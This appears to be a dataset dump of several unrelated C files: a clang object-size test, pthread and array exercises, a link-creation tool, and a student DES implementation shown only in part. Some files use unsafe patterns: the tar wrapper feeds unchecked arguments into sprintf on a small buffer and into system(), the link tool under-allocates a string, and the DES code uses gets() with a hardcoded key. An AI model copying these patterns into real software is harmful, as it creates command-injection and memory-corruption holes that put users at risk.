file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
---|---|
the_stack_data/78835.c | // RUN: %clang_cc1 -triple x86_64-apple-darwin -emit-llvm %s -o - 2>&1 | FileCheck %s
// RUN: %clang_cc1 -DDYNAMIC -triple x86_64-apple-darwin -emit-llvm %s -o - 2>&1 | FileCheck %s
#ifdef DYNAMIC
#define OBJECT_SIZE_BUILTIN __builtin_dynamic_object_size
#else
#define OBJECT_SIZE_BUILTIN __builtin_object_size
#endif
#define NULL ((void *)0)
int gi;
typedef unsigned long size_t;
// CHECK-DAG-RE: define void @my_malloc({{.*}}) #[[MALLOC_ATTR_NUMBER:[0-9]+]]
// N.B. LLVM's allocsize arguments are base-0, whereas ours are base-1 (for
// compat with GCC)
// CHECK-DAG-RE: attributes #[[MALLOC_ATTR_NUMBER]] = {.*allocsize(0).*}
void *my_malloc(size_t) __attribute__((alloc_size(1)));
// CHECK-DAG-RE: define void @my_calloc({{.*}}) #[[CALLOC_ATTR_NUMBER:[0-9]+]]
// CHECK-DAG-RE: attributes #[[CALLOC_ATTR_NUMBER]] = {.*allocsize(0, 1).*}
void *my_calloc(size_t, size_t) __attribute__((alloc_size(1, 2)));
// CHECK-LABEL: @test1
void test1() {
void *const vp = my_malloc(100);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 0);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 1);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 2);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 3);
void *const arr = my_calloc(100, 5);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 0);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 1);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 2);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 3);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(my_malloc(100), 0);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(my_malloc(100), 1);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(my_malloc(100), 2);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(my_malloc(100), 3);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(my_calloc(100, 5), 0);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(my_calloc(100, 5), 1);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(my_calloc(100, 5), 2);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(my_calloc(100, 5), 3);
void *const zeroPtr = my_malloc(0);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(zeroPtr, 0);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(my_malloc(0), 0);
void *const zeroArr1 = my_calloc(0, 1);
void *const zeroArr2 = my_calloc(1, 0);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(zeroArr1, 0);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(zeroArr2, 0);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(my_calloc(1, 0), 0);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(my_calloc(0, 1), 0);
}
// CHECK-LABEL: @test2
void test2() {
void *const vp = my_malloc(gi);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(vp, 0);
void *const arr1 = my_calloc(gi, 1);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr1, 0);
void *const arr2 = my_calloc(1, gi);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr2, 0);
}
// CHECK-LABEL: @test3
void test3() {
char *const buf = (char *)my_calloc(100, 5);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(buf, 0);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(buf, 1);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(buf, 2);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(buf, 3);
}
struct Data {
int a;
int t[10];
char pad[3];
char end[1];
};
// CHECK-LABEL: @test5
void test5() {
struct Data *const data = my_malloc(sizeof(*data));
// CHECK: store i32 48
gi = OBJECT_SIZE_BUILTIN(data, 0);
// CHECK: store i32 48
gi = OBJECT_SIZE_BUILTIN(data, 1);
// CHECK: store i32 48
gi = OBJECT_SIZE_BUILTIN(data, 2);
// CHECK: store i32 48
gi = OBJECT_SIZE_BUILTIN(data, 3);
// CHECK: store i32 40
gi = OBJECT_SIZE_BUILTIN(&data->t[1], 0);
// CHECK: store i32 36
gi = OBJECT_SIZE_BUILTIN(&data->t[1], 1);
// CHECK: store i32 40
gi = OBJECT_SIZE_BUILTIN(&data->t[1], 2);
// CHECK: store i32 36
gi = OBJECT_SIZE_BUILTIN(&data->t[1], 3);
struct Data *const arr = my_calloc(sizeof(*data), 2);
// CHECK: store i32 96
gi = OBJECT_SIZE_BUILTIN(arr, 0);
// CHECK: store i32 96
gi = OBJECT_SIZE_BUILTIN(arr, 1);
// CHECK: store i32 96
gi = OBJECT_SIZE_BUILTIN(arr, 2);
// CHECK: store i32 96
gi = OBJECT_SIZE_BUILTIN(arr, 3);
// CHECK: store i32 88
gi = OBJECT_SIZE_BUILTIN(&arr->t[1], 0);
// CHECK: store i32 36
gi = OBJECT_SIZE_BUILTIN(&arr->t[1], 1);
// CHECK: store i32 88
gi = OBJECT_SIZE_BUILTIN(&arr->t[1], 2);
// CHECK: store i32 36
gi = OBJECT_SIZE_BUILTIN(&arr->t[1], 3);
}
// CHECK-LABEL: @test6
void test6() {
// Things that would normally trigger conservative estimates don't need to do
// so when we know the source of the allocation.
struct Data *const data = my_malloc(sizeof(*data) + 10);
// CHECK: store i32 11
gi = OBJECT_SIZE_BUILTIN(data->end, 0);
// CHECK: store i32 11
gi = OBJECT_SIZE_BUILTIN(data->end, 1);
// CHECK: store i32 11
gi = OBJECT_SIZE_BUILTIN(data->end, 2);
// CHECK: store i32 11
gi = OBJECT_SIZE_BUILTIN(data->end, 3);
struct Data *const arr = my_calloc(sizeof(*arr) + 5, 3);
// AFAICT, GCC treats malloc and calloc identically. So, we should do the
// same.
//
// Additionally, GCC ignores the initial array index when determining whether
// we're writing off the end of an alloc_size base. e.g.
// arr[0].end
// arr[1].end
// arr[2].end
// ...Are all considered "writing off the end", because there's no way to tell
// with high accuracy if the user meant "allocate a single N-byte `Data`",
// or "allocate M smaller `Data`s with extra padding".
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr->end, 0);
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr->end, 1);
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr->end, 2);
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr->end, 3);
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr[0].end, 0);
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr[0].end, 1);
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr[0].end, 2);
// CHECK: store i32 112
gi = OBJECT_SIZE_BUILTIN(arr[0].end, 3);
// CHECK: store i32 64
gi = OBJECT_SIZE_BUILTIN(arr[1].end, 0);
// CHECK: store i32 64
gi = OBJECT_SIZE_BUILTIN(arr[1].end, 1);
// CHECK: store i32 64
gi = OBJECT_SIZE_BUILTIN(arr[1].end, 2);
// CHECK: store i32 64
gi = OBJECT_SIZE_BUILTIN(arr[1].end, 3);
// CHECK: store i32 16
gi = OBJECT_SIZE_BUILTIN(arr[2].end, 0);
// CHECK: store i32 16
gi = OBJECT_SIZE_BUILTIN(arr[2].end, 1);
// CHECK: store i32 16
gi = OBJECT_SIZE_BUILTIN(arr[2].end, 2);
// CHECK: store i32 16
gi = OBJECT_SIZE_BUILTIN(arr[2].end, 3);
}
// CHECK-LABEL: @test7
void test7() {
struct Data *const data = my_malloc(sizeof(*data) + 5);
// CHECK: store i32 9
gi = OBJECT_SIZE_BUILTIN(data->pad, 0);
// CHECK: store i32 3
gi = OBJECT_SIZE_BUILTIN(data->pad, 1);
// CHECK: store i32 9
gi = OBJECT_SIZE_BUILTIN(data->pad, 2);
// CHECK: store i32 3
gi = OBJECT_SIZE_BUILTIN(data->pad, 3);
}
// CHECK-LABEL: @test8
void test8() {
// Non-const pointers aren't currently supported.
void *buf = my_calloc(100, 5);
// CHECK: @llvm.objectsize.i64.p0i8(i8* %{{.*}}, i1 false, i1 true, i1
gi = OBJECT_SIZE_BUILTIN(buf, 0);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(buf, 1);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(buf, 2);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(buf, 3);
}
// CHECK-LABEL: @test9
void test9() {
// Check to be sure that we unwrap things correctly.
short *const buf0 = (my_malloc(100));
short *const buf1 = (short*)(my_malloc(100));
short *const buf2 = ((short*)(my_malloc(100)));
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(buf0, 0);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(buf1, 0);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(buf2, 0);
}
// CHECK-LABEL: @test10
void test10() {
// Yay overflow
short *const arr = my_calloc((size_t)-1 / 2 + 1, 2);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr, 0);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr, 1);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr, 2);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(arr, 3);
// As an implementation detail, CharUnits can't handle numbers greater than or
// equal to 2**63. Realistically, this shouldn't be a problem, but we should
// be sure we don't emit crazy results for this case.
short *const buf = my_malloc((size_t)-1);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(buf, 0);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(buf, 1);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(buf, 2);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(buf, 3);
short *const arr_big = my_calloc((size_t)-1 / 2 - 1, 2);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr_big, 0);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr_big, 1);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr_big, 2);
// CHECK: store i32 0
gi = OBJECT_SIZE_BUILTIN(arr_big, 3);
}
void *my_tiny_malloc(char) __attribute__((alloc_size(1)));
void *my_tiny_calloc(char, char) __attribute__((alloc_size(1, 2)));
// CHECK-LABEL: @test11
void test11() {
void *const vp = my_tiny_malloc(100);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 0);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 1);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 2);
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(vp, 3);
// N.B. This causes char overflow, but not size_t overflow, so it should be
// supported.
void *const arr = my_tiny_calloc(100, 5);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 0);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 1);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 2);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(arr, 3);
}
void *my_signed_malloc(long) __attribute__((alloc_size(1)));
void *my_signed_calloc(long, long) __attribute__((alloc_size(1, 2)));
// CHECK-LABEL: @test12
void test12() {
// CHECK: store i32 100
gi = OBJECT_SIZE_BUILTIN(my_signed_malloc(100), 0);
// CHECK: store i32 500
gi = OBJECT_SIZE_BUILTIN(my_signed_calloc(100, 5), 0);
void *const vp = my_signed_malloc(-2);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(vp, 0);
// N.B. These get lowered to -1 because the function calls may have
// side-effects, and we can't determine the objectsize.
// CHECK: store i32 -1
gi = OBJECT_SIZE_BUILTIN(my_signed_malloc(-2), 0);
void *const arr1 = my_signed_calloc(-2, 1);
void *const arr2 = my_signed_calloc(1, -2);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr1, 0);
// CHECK: @llvm.objectsize
gi = OBJECT_SIZE_BUILTIN(arr2, 0);
// CHECK: store i32 -1
gi = OBJECT_SIZE_BUILTIN(my_signed_calloc(1, -2), 0);
// CHECK: store i32 -1
gi = OBJECT_SIZE_BUILTIN(my_signed_calloc(-2, 1), 0);
}
void *alloc_uchar(unsigned char) __attribute__((alloc_size(1)));
// CHECK-LABEL: @test13
void test13() {
// If 128 were incorrectly seen as negative, the result would become -1.
// CHECK: store i32 128,
gi = OBJECT_SIZE_BUILTIN(alloc_uchar(128), 0);
}
void *(*malloc_function_pointer)(int)__attribute__((alloc_size(1)));
void *(*calloc_function_pointer)(int, int)__attribute__((alloc_size(1, 2)));
// CHECK-LABEL: @test_fn_pointer
void test_fn_pointer() {
void *const vp = malloc_function_pointer(100);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 0);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 1);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 2);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 3);
void *const arr = calloc_function_pointer(100, 5);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 0);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 1);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 2);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 3);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer(100), 0);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer(100), 1);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer(100), 2);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer(100), 3);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer(100, 5), 0);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer(100, 5), 1);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer(100, 5), 2);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer(100, 5), 3);
void *const zeroPtr = malloc_function_pointer(0);
// CHECK: store i32 0
gi = __builtin_object_size(zeroPtr, 0);
// CHECK: store i32 0
gi = __builtin_object_size(malloc_function_pointer(0), 0);
void *const zeroArr1 = calloc_function_pointer(0, 1);
void *const zeroArr2 = calloc_function_pointer(1, 0);
// CHECK: store i32 0
gi = __builtin_object_size(zeroArr1, 0);
// CHECK: store i32 0
gi = __builtin_object_size(zeroArr2, 0);
// CHECK: store i32 0
gi = __builtin_object_size(calloc_function_pointer(1, 0), 0);
// CHECK: store i32 0
gi = __builtin_object_size(calloc_function_pointer(0, 1), 0);
}
typedef void *(__attribute__((warn_unused_result, alloc_size(1))) * my_malloc_function_pointer_type)(int);
typedef void *(__attribute__((alloc_size(1, 2))) * my_calloc_function_pointer_type)(int, int);
extern my_malloc_function_pointer_type malloc_function_pointer_with_typedef;
extern my_calloc_function_pointer_type calloc_function_pointer_with_typedef;
// CHECK-LABEL: @test_fn_pointer_typedef
void test_fn_pointer_typedef() {
malloc_function_pointer_with_typedef(100);
void *const vp = malloc_function_pointer_with_typedef(100);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 0);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 1);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 2);
// CHECK: store i32 100
gi = __builtin_object_size(vp, 3);
void *const arr = calloc_function_pointer_with_typedef(100, 5);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 0);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 1);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 2);
// CHECK: store i32 500
gi = __builtin_object_size(arr, 3);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer_with_typedef(100), 0);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer_with_typedef(100), 1);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer_with_typedef(100), 2);
// CHECK: store i32 100
gi = __builtin_object_size(malloc_function_pointer_with_typedef(100), 3);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer_with_typedef(100, 5), 0);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer_with_typedef(100, 5), 1);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer_with_typedef(100, 5), 2);
// CHECK: store i32 500
gi = __builtin_object_size(calloc_function_pointer_with_typedef(100, 5), 3);
void *const zeroPtr = malloc_function_pointer_with_typedef(0);
// CHECK: store i32 0
gi = __builtin_object_size(zeroPtr, 0);
// CHECK: store i32 0
gi = __builtin_object_size(malloc_function_pointer_with_typedef(0), 0);
void *const zeroArr1 = calloc_function_pointer_with_typedef(0, 1);
void *const zeroArr2 = calloc_function_pointer_with_typedef(1, 0);
// CHECK: store i32 0
gi = __builtin_object_size(zeroArr1, 0);
// CHECK: store i32 0
gi = __builtin_object_size(zeroArr2, 0);
// CHECK: store i32 0
gi = __builtin_object_size(calloc_function_pointer_with_typedef(1, 0), 0);
// CHECK: store i32 0
gi = __builtin_object_size(calloc_function_pointer_with_typedef(0, 1), 0);
}
|
the_stack_data/242331298.c | #include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
int A = 100;
void *My_Func(void *idp)
{
long my_id = (long)idp;
printf("Starting watch_count(): thread %ld\n", my_id);
A++;
printf("Hi! Welcome\n Value of A is %d\n",A);
pthread_exit(NULL);
}
int main(int argc, char *argv[])
{
int i, rc;
pthread_t threads[6];
pthread_create(&threads[0],NULL, My_Func, (void *)2);
pthread_create(&threads[1], NULL, My_Func, (void *)3);
pthread_create(&threads[2], NULL, My_Func, (void *)4);
pthread_create(&threads[3], NULL, My_Func, (void *)5);
pthread_create(&threads[4], NULL, My_Func, (void *)0);
pthread_create(&threads[5], NULL, My_Func, (void *)1);
for (i = 0; i < 6; i++) {
pthread_join(threads[i], NULL);
}
printf("In Main A is %d ", A);
printf ("Main(): Waited on %d threads. Done.\n", 6);
pthread_exit (NULL);
}
|
the_stack_data/631403.c | #include <stdio.h>
int main(){
printf("hello world!\n");
return 0;
}
|
the_stack_data/82950303.c | #include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
if (argc == 2)
{
char p[50] = {0};
sprintf(p, "tar -jcvf %s.tar.bz2 %s", argv[1], argv[1]);
printf("\nyour command is : %s\n", p);
system(p);
printf("\nyour command is : %s\n", p);
}
else
{
printf("\ntarc Usage :\n");
printf(" tarc <filename>\n");
printf(" by default,we compress the file into \".tar.bz2\" format\n");
}
exit(0);
} |
the_stack_data/76699472.c | /*
* Author: Ethan Booker
* Date: 2/15/2018
* Description: Using a function to return a pointer to an array
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
// Function prototyping
int * initalize_ary(int size);
void print_ary(int *ary, int size);
int print_sum(int *ary, int size);
double print_avg(int *ary, int size);
int main(int argc, char **argv) {
// Variable initalization
int size = 10;
int *r = initalize_ary(size);
print_ary(r, size);
printf("Sum: %d\n", print_sum(r, size));
printf("Average: %.3f\n", print_avg(r, size));
return 0;
}
int * initalize_ary(int size) {
// Variable initalization
int *ary = NULL;
// Dynamically allocating space
ary = (int*) malloc(sizeof(int) * size);
int iter;
srand(time(NULL));
for(iter = 0; iter < size; iter++) {
int r = rand();
ary[iter] = r % 100;
}
return ary;
}
void print_ary(int *ary, int size) {
// variable declaration
int iter;
for(iter = 0; iter < size; iter++) {
printf("Value: %d\t address: %p\n", ary[iter], &(ary[iter]));
}
}
int print_sum(int *ary, int size) {
// Variable initalization
int sum = 0;
int iter;
for(iter = 0; iter < size; iter++) {
sum += ary[iter];
}
return sum;
}
double print_avg(int *ary, int size) {
// Variable initalization
int sum = 0;
int iter;
for(iter = 0; iter < size; iter++) {
sum += ary[iter];
}
return (double)sum/size;
}
|
the_stack_data/173578226.c | #include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/sysmacros.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv) {
if (argc < 2) {
printf("ERROR: Se debe especeficar la ruta del archivo en los parámetros del programa.\n");
return -1;
}
struct stat buff;
int statint = stat(argv[1], &buff);
if (statint == -1) {
printf("ERROR: No existe el directorio.\n");
return -1;
}
char* hard = malloc(sizeof(char)*(5 + strlen(argv[1])));
char* sym = malloc(sizeof(char)*(5 + strlen(argv[1])));
strcpy(hard, argv[1]);
strcpy(sym, argv[1]);
hard = strcat(hard, ".hard");
sym = strcat(sym, ".sym");
printf("HARD: %s\n", hard);
printf("SYM: %s\n", sym);
mode_t mode = buff.st_mode;
if (S_ISREG(mode)) {
printf("%s es un archivo ordinario.\n", argv[1]);
if (link(argv[1],hard) == -1) {
printf("ERROR: No se ha podido crear el enlace rígido.\n");
} else printf("Se ha creado enlace rígido.\n");
if (symlink(argv[1],sym) == -1) {
printf("ERROR: No se ha podido crear el enlace simbólico.\n");
} else printf("Se ha creado enlace simbólico.\n");
} else {
printf("ERROR: La ruta introducida no es un archivo ordinario.\n");
}
return 0;
}
|
the_stack_data/149806.c | /*******************************************************************************************************
Developed by : Tejas P. Chordiya
MCA Ist year
VIT College, Pune
> Just copy & paste the code in text editor & the file with extension .c (ex:- <filename>.c)
> Ignore the warnings, if you get any.
*******************************************************************************************************/
#include<stdio.h>
//#include<conio.h>
#include<string.h>
#include<malloc.h>
#include<stdlib.h>
#include<math.h>
void hex_to_bin(char *,char *);
char* bin_to_hex(char *);
void permutation(char *,char *);
void make_half(char *,char *,char *);
void single_shift(char *,char *);
void double_shift(char *,char *);
void make_key(char *,char *,char *);
void permutation_32(char *,char *);
void permutation_48(char *,char *);
void permutation_64(char *,char *,char *);
void des_round(char *,char *,char *,char *,char *,char *,char *);
void des_round_decry(char *,char *,char *,char *,char *,char *,char *);
void copy(char *,char *);
void permut_48(char *,char *);
void xor(char *,char *,char *);
void xor_32(char *,char *,char *);
void common_permutation(char *,char *);
void hex_to_plain(char *,char *,int);
int switch_case(char );
char SB[32];
char *bin[]={
"0000",
"0001",
"0010",
"0011",
"0100",
"0101",
"0110",
"0111",
"1000",
"1001",
"1010",
"1011",
"1100",
"1101",
"1110",
"1111"
};
char hex[16]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
int PC1[8][7]={
57,49,41,33,25,17,9,
1,58,50,42,34,26,18,
10,2,59,51,43,35,27,
19,11,3,60,52,44,36,
63,55,47,39,31,23,15,
7,62,54,46,38,30,22,
14,6,61,53,45,37,29,
21,13,5,28,20,12,4
};
int PC2[8][6]={
14,17,11,24,1,5,
3,28,15,6,21,10,
23,19,12,4,26,8,
16,7,27,20,13,2,
41,52,31,37,47,55,
30,40,51,45,33,48,
44,49,39,56,34,53,
46,42,50,36,29,32
};
int IP[8][8]={
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7};
int E_bit[8][6]={
32,1,2,3,4,5,
4,5,6,7,8,9,
8,9,10,11,12,13,
12,13,14,15,16,17,
16,17,18,19,20,21,
20,21,22,23,24,25,
24,25,26,27,28,29,
28,29,30,31,32,1};
char *look_up[]={
"00",
"01",
"10",
"11"};
int sb_permutation[8][4]={
16,7,20,21,
29,12,28,17,
1,15,23,26,
5,18,31,10,
2,8,24,14,
32,27,3,9,
19,13,30,6,
22,11,4,25};
int s1[4][16]={
14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,
0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,
4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,
15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13};
int s2[4][16]={
15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,
3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,
0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,
13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9};
int s3[4][16]={
10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,
13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,
13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,
1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12};
int s4[4][16]={
7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,
13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,
10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,
3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14};
int s5[4][16]={
2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,
14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,
4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,
11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3};
int s6[4][16]={
12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,
10,15,4,2,7,12,9,5,6,1,12,14,0,11,3,8,
9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,
4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13};
int s7[4][16]={
4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,
13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,
1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,
6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12};
int s8[4][16]={
13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,
1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,
7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,
2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11};
int ip_inverse[8][8]={
40,8,48,16,56,24,64,32,
39,7,47,15,55,23,63,31,
38,6,46,14,54,22,62,30,
37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,
35,3,43,11,51,19,59,27,
34,2,42,10,50,18,58,26,
33,1,41,9,49,17,57,25
};
void main()
{
char input[200],initial_hex[400];
int i,j,k=0,len,r,x,m,temp;
int d,e,f;
char hex_arr[25][16];
char input_hex[16],input_bin[64];
char key_hex[16]={'1','3','3','4','5','7','7','9','9','B','B','C','D','F','F','1'};
char key_bin[64],key_PC1[56];
char ch,*decryption,*encryption,encryption_final[400],decryption_final_hex[400],decryption_final_plain[200];
char encrypted[64],decrypted[64],encry_permut[64],decry_permut[64];
int length,p=-1,q=-1;
char C0[28],D0[28],
C1[28],D1[28],CD1[56],
C2[28],D2[28],CD2[56],
C3[28],D3[28],CD3[56],
C4[28],D4[28],CD4[56],
C5[28],D5[28],CD5[56],
C6[28],D6[28],CD6[56],
C7[28],D7[28],CD7[56],
C8[28],D8[28],CD8[56],
C9[28],D9[28],CD9[56],
C10[28],D10[28],CD10[56],
C11[28],D11[28],CD11[56],
C12[28],D12[28],CD12[56],
C13[28],D13[28],CD13[56],
C14[28],D14[28],CD14[56],
C15[28],D15[28],CD15[56],
C16[28],D16[28],CD16[56];
char L0[32],R0[32],ER0[48];
char K1[48],L1[32],R1[32],ER1[48],F1[48],
K2[48],L2[32],R2[32],ER2[48],F2[48],
K3[48],L3[32],R3[32],ER3[48],F3[48],
K4[48],L4[32],R4[32],ER4[48],F4[48],
K5[48],L5[32],R5[32],ER5[48],F5[48],
K6[48],L6[32],R6[32],ER6[48],F6[48],
K7[48],L7[32],R7[32],ER7[48],F7[48],
K8[48],L8[32],R8[32],ER8[48],F8[48],
K9[48],L9[32],R9[32],ER9[48],F9[48],
K10[48],L10[32],R10[32],ER10[48],F10[48],
K11[48],L11[32],R11[32],ER11[48],F11[48],
K12[48],L12[32],R12[32],ER12[48],F12[48],
K13[48],L13[32],R13[32],ER13[48],F13[48],
K14[48],L14[32],R14[32],ER14[48],F14[48],
K15[48],L15[32],R15[32],ER15[48],F15[48],
K16[48],L16[32],R16[32],ER16[48],F16[48];
//clrscr();
/******************* Input Plain Text *********************/
printf(">Enter plain text : ");
gets(input);
len=strlen(input);
for(i=0;i<len;i++)
{
while(input[i]!=0)
{
r=input[i]%16;
input[i]=input[i]/16;
if(r>9)
{
x=r-10;
r=65+x;
initial_hex[k]=r;
}
else
initial_hex[k]=r+48;
k++;
}
}
for(i=0;i<k;i=i+2)
{
temp=initial_hex[i];
initial_hex[i]=initial_hex[i+1];
initial_hex[i+1]=temp;
}
/*for(i=0;i<k;i++)
printf("%c",initial_hex[i]);*/
d=k/16;
e=k%16;
f=0;
for(i=0;i<=d;i++)
{
if(i<d)
{
for(j=0;j<=15;j++)
hex_arr[i][j]=initial_hex[f++];
}
else if(k%16==0)
break;
else
{
for(j=0;j<=15;j++)
{
if(j<e)
hex_arr[i][j]=initial_hex[f++];
else
{
hex_arr[i][j]='2';
hex_arr[i][++j]='0';
}
}
}
}
if(k%16!=0)
d++;
/*printf("\n");
for(i=0;i<d;i++)
{
for(j=0;j<=15;j++)
printf("%c",hex_arr[i][j]);
printf("\n");
}*/
/******************* Key in Binary form*****************/
hex_to_bin(key_hex,key_bin);
